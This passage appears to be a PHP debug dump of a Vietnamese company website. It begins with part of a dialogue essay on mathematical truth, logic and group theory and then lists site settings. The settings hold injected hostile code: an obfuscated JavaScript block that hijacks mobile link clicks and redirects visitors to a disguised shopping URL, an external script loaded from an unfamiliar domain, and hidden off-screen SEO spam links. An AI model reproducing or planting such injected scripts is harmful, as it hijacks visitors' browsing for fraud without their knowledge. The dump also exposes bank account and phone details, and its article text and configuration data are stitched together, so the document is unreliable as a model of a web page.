B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 